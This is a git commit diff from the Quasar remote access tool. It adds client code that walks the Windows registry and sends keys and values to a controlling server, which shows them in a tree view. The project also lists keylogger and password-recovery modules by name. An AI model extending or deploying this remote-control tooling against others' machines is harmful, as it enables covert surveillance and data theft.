Added support for acquiring the root keys of the Registry.

This commit is contained in:
StingRaptor 2016-01-21 16:31:51 +01:00
parent 99dd3b1ebb
commit 3481a58afa
20 changed files with 938 additions and 0 deletions

View File

@ -53,6 +53,7 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Core\Commands\RegistryHandler.cs" />
<Compile Include="Core\Data\ClientData.cs" />
<Compile Include="Core\Data\GeoInformation.cs" />
<Compile Include="Core\Helper\MutexHelper.cs" />
@ -94,6 +95,7 @@
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Networking\QuasarClient.cs" />
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
@ -104,6 +106,10 @@
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
<Compile Include="Core\Registry\RegistrySeeker.cs" />
<Compile Include="Core\Registry\RegistrySeekerParams.cs" />
<Compile Include="Core\Registry\RegSeekerMatch.cs" />
<Compile Include="Core\Registry\RegValueData.cs" />
<Compile Include="Core\Utilities\FileSplit.cs" />
<Compile Include="Core\Data\Host.cs" />
<Compile Include="Core\Utilities\HostsManager.cs" />
@ -216,6 +222,7 @@
<Compile Include="Core\Utilities\Keylogger.cs" />
<Compile Include="Enums\MouseAction.cs" />
<Compile Include="Enums\PathType.cs" />
<Compile Include="Enums\RegistrySearchAction.cs" />
<Compile Include="Enums\ShutdownAction.cs" />
<Compile Include="Enums\UserStatus.cs" />
<Compile Include="Program.cs" />

View File

@ -1,5 +1,6 @@
using System.Collections.Generic;
using System.Threading;
using xClient.Core.Registry;
using xClient.Core.Utilities;
namespace xClient.Core.Commands
@ -13,5 +14,6 @@ public static partial class CommandHandler
private static Dictionary<int, string> _canceledDownloads = new Dictionary<int, string>();
private const string DELIMITER = "$E$";
private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
public static RegistrySeeker seeker;
}
}

View File

@ -0,0 +1,57 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
namespace xClient.Core.Commands
{
/*
* Derived and Adapted By Justin Yanke
* github: https://github.com/yankejustin
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This code is created by Justin Yanke and has only been
* modified partially.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs
*/
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
public static partial class CommandHandler
{
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
{
try
{
seeker = new RegistrySeeker();
xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
{
responsePacket.Matches = e.Matches.ToArray();
responsePacket.RootKey = packet.RootKeyName;
responsePacket.Execute(client);
};
// If the search parameters of the packet is null, the server is requesting to obtain the root keys.
if (packet.RootKeyName == null)
{
seeker.Start(new RegistrySeekerParams(null, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values));
}
else
{
seeker.Start(packet.RootKeyName);
}
}
catch
{ }
}
}
}

View File

@ -1,6 +1,7 @@
using System.Collections.Generic;
using Microsoft.Win32;
using System.Linq;
using System;
namespace xClient.Core.Extensions
{
@ -94,5 +95,49 @@ public static IEnumerable<string> GetFormattedKeyValues(this RegistryKey key)
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
}
}
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower();
case RegistryValueKind.MultiString:
return string.Join(" ", (string[])valueData);
case RegistryValueKind.DWord: //Convert with hexadecimal before int
return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString());
case RegistryValueKind.QWord:
return ((ulong)((long)valueData)).ToString();
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return valueData.ToString();
case RegistryValueKind.Unknown:
default:
return string.Empty;
}
}
public static string RegistryTypeToString(this RegistryValueKind valueKind)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return "REG_BINARY";
case RegistryValueKind.MultiString:
return "REG_MULTI_SZ";
case RegistryValueKind.DWord:
return "REG_DWORD";
case RegistryValueKind.QWord:
return "REG_QWORD";
case RegistryValueKind.String:
return "REG_SZ";
case RegistryValueKind.ExpandString:
return "REG_EXPAND_SZ";
case RegistryValueKind.Unknown:
return "(Unknown)";
default:
return "REG_NONE";
}
}
}
}

View File

@ -77,6 +77,7 @@ public QuasarClient(HostsManager hostsManager) : base()
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,35 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetRegistryKeysResponse : IPacket
{
public RegSeekerMatch[] Matches { get; set; }
public string RootKey { get; set; }
public GetRegistryKeysResponse()
{ }
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
: this(new RegSeekerMatch[] { match }, rootKey)
{ }
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
{
Matches = matches;
RootKey = rootKey;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -124,6 +124,10 @@ public static void HandlePacket(Client client, IPacket packet)
CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
client);
}
else if (type == typeof(ServerPackets.DoLoadRegistryKey))
{
CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);

View File

@ -0,0 +1,40 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace xClient.Core.Registry
{
/*
* Derived and Adapted By Justin Yanke
* github: https://github.com/yankejustin
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This code is created by Justin Yanke and has only been
* modified partially.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs
*/
[Serializable]
public class RegSeekerMatch
{
public string Key { get; private set; }
public List<RegValueData> Data { get; private set; }
public bool HasSubKeys { get; private set; }
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
{
Key = key;
Data = data;
HasSubKeys = (subkeycount > 0);
}
public override string ToString()
{
return string.Format("({0}:{1})", Key, Data.ToString());
}
}
}

View File

@ -0,0 +1,27 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace xClient.Core.Registry
{
[Serializable]
public class RegValueData
{
public string Name { get; private set; }
public string Type { get; private set; }
public string Data { get; private set; }
public RegValueData(string name, string type, string data)
{
Name = name;
Type = type;
Data = data;
}
public override string ToString()
{
return string.Format("({0}:{1}:{2})", Name, Type, Data);
}
}
}

View File

@ -0,0 +1,330 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Security;
using Microsoft.Win32;
using System.Threading;
using xClient.Core.Extensions;
namespace xClient.Core.Registry
{
/*
* Derived and Adapted from CrackSoft's Reg Explore.
* Reg Explore v1.1 (Release Date: June 24, 2011)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This is a work that is not of the original. It
* has been modified to suit the needs of another
* application.
* (This has been taken from Justin Yanke's branch)
* First Modified by Justin Yanke on August 15, 2015
* Second Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Unmodified Source:
* https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs
*/
public class MatchFoundEventArgs : EventArgs
{
public RegSeekerMatch Match { get; private set; }
public MatchFoundEventArgs(RegSeekerMatch match)
{
Match = match;
}
}
public class SearchCompletedEventArgs : EventArgs
{
public List<RegSeekerMatch> Matches { get; private set; }
public SearchCompletedEventArgs(List<RegSeekerMatch> matches)
{
Matches = matches;
}
}
public class RegistrySeeker
{
#region CONSTANTS
/// <summary>
/// An array containing all of the root keys for the registry.
/// </summary>
public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[]
{
Microsoft.Win32.Registry.ClassesRoot,
Microsoft.Win32.Registry.CurrentUser,
Microsoft.Win32.Registry.LocalMachine,
Microsoft.Win32.Registry.Users,
Microsoft.Win32.Registry.CurrentConfig
};
#endregion
#region Fields
/// <summary>
/// Fired when the RegistrySeeker has finished searching through the registry.
/// </summary>
public event EventHandler<SearchCompletedEventArgs> SearchComplete;
/// <summary>
/// Fired when a RegistryKey is found.
/// </summary>
public event EventHandler<MatchFoundEventArgs> MatchFound;
/// <summary>
/// The worker thread that does the searching/traversal through the registry.
/// </summary>
private BackgroundWorker searcher;
/// <summary>
/// The lock used to ensure thread safety.
/// </summary>
private readonly object locker = new object();
/// <summary>
/// The search arguments to use for customizable registry searching.
/// </summary>
public RegistrySeekerParams searchArgs;
/// <summary>
/// The list containing the matches found during the search.
/// </summary>
private List<RegSeekerMatch> matches;
/// <summary>
/// The queue of registry key paths to analyze further.
/// </summary>
private Queue<string> pendingKeys;
#endregion
public RegistrySeeker()
{
searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true };
searcher.DoWork += new DoWorkEventHandler(worker_DoWork);
searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted);
searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged);
}
public void Start(string rootKeyName)
{
if (rootKeyName != null && rootKeyName.Length > 0)
{
// ToDo: Get correct root key...
RegistryKey root = GetRootKey(rootKeyName);
if (root != null)
{
//Check if this is a root key or not
if (root.Name != rootKeyName)
{
//Must get the subKey name by removing root and '\\'
string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
try
{
root = root.OpenSubKey(subKeyName);
}
catch { }
}
}
// Temp
if (root != null)
Start(new RegistrySeekerParams(root, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values | Enums.RegistrySearchAction.Data));
}
}
public void Start(RegistrySeekerParams args)
{
searchArgs = args;
matches = new List<RegSeekerMatch>();
searcher.RunWorkerAsync();
}
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
{
MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState));
}
public void Stop()
{
if (searcher.IsBusy)
{
lock (locker)
{
searcher.CancelAsync();
// Wait until it is done... Similar to synchronous stop.
Monitor.Wait(locker);
}
}
}
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
SearchComplete(this, new SearchCompletedEventArgs(matches));
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
// Get root registrys
if (searchArgs.RootKey == null)
{
foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS)
/* Just need root key so process it */
ProcessKey(key, key.Name);
}
else
{
//searching for subkeys to root key
Search(searchArgs.RootKey);
}
}
void Search(string rootKeyName)
{
try
{
using (RegistryKey key = GetRootKey(rootKeyName).OpenWritableSubKeySafe(rootKeyName))
{
if (key != null)
{
Search(key);
}
}
}
catch
{ }
}
void Search(RegistryKey rootKey)
{
string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1);
RegistryKey subKey = null;
string keyName;
int cropIndex = rootKey.Name.Length + 1;
pendingKeys = new Queue<string>(rootKey.GetSubKeyNames());
while (pendingKeys.Count > 0)
{
if (searcher.CancellationPending)
{
lock (locker)
{
// Allow for a synchronous stop.
Monitor.Pulse(locker);
return;
}
}
keyName = pendingKeys.Dequeue();
try
{
subKey = rootKey.OpenSubKey(keyName);
}
catch (SecurityException)
{
subKey = null;
}
finally
{
ProcessKey(subKey, keyName);
}
}
}
private void ProcessKey(RegistryKey key, string keyName)
{
if (searcher.CancellationPending)
return;
MatchData(key, keyName);
}
private void MatchData(RegistryKey key, string keyName)
{
if (key != null)
{
List<RegValueData> values = new List<RegValueData>();
foreach (string valueName in key.GetValueNames())
{
RegistryValueKind valueType = key.GetValueKind(valueName);
string valueData = key.GetValueKind(valueName).RegistryTypeToString(key.GetValue(valueName, string.Empty));
string actualValueName = String.IsNullOrEmpty(valueName) ? "(Default)" : valueName;
values.Add(new RegValueData(actualValueName, valueType.RegistryTypeToString(), valueData));
}
//Maybe send null if empty (regValues)
AddMatch(keyName, values, key.SubKeyCount);
}
else
{
AddMatch(keyName, null, 0);
}
}
private void AddMatch(string key, List<RegValueData> values, int subkeycount)
{
RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount);
if (MatchFound != null)
searcher.ReportProgress(0, match);
matches.Add(match);
}
public static RegistryKey GetWritableRegistryKey(string keyPath)
{
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
if (key != null)
{
//Check if this is a root key or not
if (key.Name != keyPath)
{
//Must get the subKey name by removing root and '\\'
string subKeyName = keyPath.Substring(key.Name.Length + 1);
key = key.OpenWritableSubKeySafe(subKeyName);
}
}
return key;
}
public static RegistryKey GetRootKey(string subkey_fullpath)
{
string[] path = subkey_fullpath.Split('\\');
switch (path[0]) // <== root;
{
case "HKEY_CLASSES_ROOT":
return Microsoft.Win32.Registry.ClassesRoot;
case "HKEY_CURRENT_USER":
return Microsoft.Win32.Registry.CurrentUser;
case "HKEY_LOCAL_MACHINE":
return Microsoft.Win32.Registry.LocalMachine;
case "HKEY_USERS":
return Microsoft.Win32.Registry.Users;
case "HKEY_CURRENT_CONFIG":
return Microsoft.Win32.Registry.CurrentConfig;
default:
return null;
}
}
public bool IsBusy
{
get { return searcher.IsBusy; }
}
}
}

View File

@ -0,0 +1,52 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Enums;
namespace xClient.Core.Registry
{
/*
* Derived and Adapted By Justin Yanke
* github: https://github.com/yankejustin
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This code is created by Justin Yanke and has only been
* modified partially.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs
*/
public class RegistrySeekerParams
{
public bool GatherKeyValues { get; private set; }
public RegistryKey RootKey { get; set; }
public RegistrySeekerParams(RegistryKey registryKey, RegistrySearchAction keyAnalyzeDepth)
{
this.RootKey = registryKey;
this.searchValueTypes = keyAnalyzeDepth;
}
private RegistrySearchAction searchValueTypes
{
get
{
RegistrySearchAction action = RegistrySearchAction.Keys;
if (GatherKeyValues)
action |= RegistrySearchAction.Values;
return action;
}
set
{
GatherKeyValues = (value & RegistrySearchAction.Values) == RegistrySearchAction.Values;
}
}
}
}

View File

@ -0,0 +1,30 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace xClient.Enums
{
/*
* Derived and Adapted By Justin Yanke
* github: https://github.com/yankejustin
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This code is created by Justin Yanke.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* No modifications made
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs
*/
/// <summary>
/// Specifies the items to retrieve and send when searching the registry.
/// </summary>
[Flags]
public enum RegistrySearchAction
{
Keys,
Values,
Data
}
}

View File

@ -0,0 +1,30 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
public static partial class CommandHandler
{
public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client)
{
try
{
// Make sure that we can use the packet.
if (packet.Matches != null && packet.Matches.Length > 0)
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches);
}
}
}
catch
{ }
}
}
}

View File

@ -124,6 +124,7 @@ public QuasarServer() : base()
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,35 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
using xServer.Core.Registry;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetRegistryKeysResponse : IPacket
{
public RegSeekerMatch[] Matches { get; set; }
public string RootKey { get; set; }
public GetRegistryKeysResponse()
{ }
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
: this(new RegSeekerMatch[] { match }, rootKey)
{ }
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
{
Matches = matches;
RootKey = rootKey;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -66,6 +66,10 @@ public static void HandlePacket(Client client, IPacket packet)
{
CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
}
else if (type == typeof(ClientPackets.GetRegistryKeysResponse))
{
CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);

View File

@ -0,0 +1,40 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace xServer.Core.Registry
{
/*
* Derived and Adapted By Justin Yanke
* github: https://github.com/yankejustin
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This code is created by Justin Yanke and has only been
* modified partially.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs
*/
[Serializable]
public class RegSeekerMatch
{
public string Key { get; private set; }
public List<RegValueData> Data { get; private set; }
public bool HasSubKeys { get; private set; }
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
{
Key = key;
Data = data;
HasSubKeys = (subkeycount > 0);
}
public override string ToString()
{
return string.Format("({0}:{1})", Key, Data.ToString());
}
}
}

View File

@ -0,0 +1,27 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace xServer.Core.Registry
{
[Serializable]
public class RegValueData
{
public string Name { get; private set; }
public string Type { get; private set; }
public string Data { get; private set; }
public RegValueData(string name, string type, string data)
{
Name = name;
Type = type;
Data = data;
}
public override string ToString()
{
return string.Format("({0}:{1}:{2})", Name, Type, Data);
}
}
}

View File

@ -7,6 +7,7 @@
using System.Text;
using System.Windows.Forms;
using xServer.Core.Networking;
using xServer.Core.Registry;
namespace xServer.Forms
{
@ -24,9 +25,175 @@ public FrmRegistryEditor(Client c)
InitializeComponent();
}
#region Main Form
private void FrmRegistryEditor_Load(object sender, EventArgs e)
{
//Check if user is not currently running as administrator
if (_connectClient.Value.AccountType != "Admin")
{
//Prompt user of not being admin, probably change need clearer statement (TODO)
string msg = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!";
string caption = "Alert!";
MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
// Signal client to retrive the root nodes (indicated by null)
new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient);
}
private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e)
{
if (_connectClient.Value != null)
_connectClient.Value.FrmRe = null;
}
#endregion
#region TreeView Helperfunctions
public void AddRootKey(RegSeekerMatch match)
{
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
node.Nodes.Add(new TreeNode());
tvRegistryDirectory.Nodes.Add(node);
});
}
private TreeNode CreateNode(string key, string text, object tag)
{
return new TreeNode()
{
Text = text,
Name = key,
Tag = tag
};
}
public void AddKeysToTree(string rootName, RegSeekerMatch[] matches)
{
if (string.IsNullOrEmpty(rootName))
{
// Root key
foreach (var match in matches)
{
AddRootKey(match);
}
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0];
});
}
else
{
TreeNode parent = GetParentTreeNode(rootName);
// If the parent is null, it should be a root node.
if (parent == null)
{
//Error incorrect format
return;
}
else
{
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
foreach (var match in matches)
{
//This will execute in the form thread
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
if (match.HasSubKeys)
{
node.Nodes.Add(new TreeNode());
}
parent.Nodes.Add(node);
}
parent.Expand();
});
}
}
}
/// <summary>
/// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating
/// the TreeNodes if necessary.
/// </summary>
/// <param name="match">The match from which we obtain the corresponding TreeNode from.</param>
/// <returns>Null if an invalid name is passed; The parent TreeNode for non-root matches; Returns
/// itself if it is a root match.</returns>
private TreeNode GetParentTreeNode(string rootName)
{
string[] nodePath = null;
if (rootName.Contains("\\"))
{
// It might not be a root node.
nodePath = rootName.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries);
// Only one valid node. Probably malformed or a root node.
if (nodePath.Length < 2)
{
return null;
}
}
else
{
//Is a root node
nodePath = new string[] { rootName };
}
// Keep track of the last node to reference for traversal.
TreeNode lastNode = null;
// If the TreeView contains the first element in the node path, we
// won't have to create it. Otherwise, create it then set the last node
// to serve as our reference point.
if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0]))
{
lastNode = tvRegistryDirectory.Nodes[nodePath[0]];
}
else
{
// This node does not exist in the TreeView. Create it then add it.
lastNode = CreateNode(nodePath[0], nodePath[0], null);
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
tvRegistryDirectory.Nodes.Add(lastNode);
});
}
// Go through the rest of the node path (leave last one, is the one to add).
for (int i = 1; i < nodePath.Length; i++)
{
// If the last node does have this entry in the path, just set
// the last node to the existing entry.
if (lastNode.Nodes.ContainsKey(nodePath[i]))
{
lastNode = lastNode.Nodes[nodePath[i]];
}
else
{
// If the last node does not contain the next item in the path,
// create the node and add it to the path.
TreeNode newNode = CreateNode(nodePath[i], nodePath[i], null);
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
lastNode.Nodes.Add(newNode);
});
lastNode = newNode;
}
}
return lastNode;
}
#endregion
}
}

View File

@ -76,6 +76,7 @@
<SubType>Component</SubType>
</Compile>
<Compile Include="Core\Build\IconInjector.cs" />
<Compile Include="Core\Commands\RegistryHandler.cs" />
<Compile Include="Core\Data\AutostartItem.cs" />
<Compile Include="Core\Data\BuildOptions.cs" />
<Compile Include="Core\Data\DownloadAndExecute.cs" />
@ -138,6 +139,7 @@
<Compile Include="Core\NetSerializer\TypeSerializers\GenericSerializer.cs" />
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
@ -145,6 +147,8 @@
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
<Compile Include="Core\Registry\RegSeekerMatch.cs" />
<Compile Include="Core\Registry\RegValueData.cs" />
<Compile Include="Core\Utilities\FrameCounter.cs" />
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
<Compile Include="Core\Helper\PlatformHelper.cs" />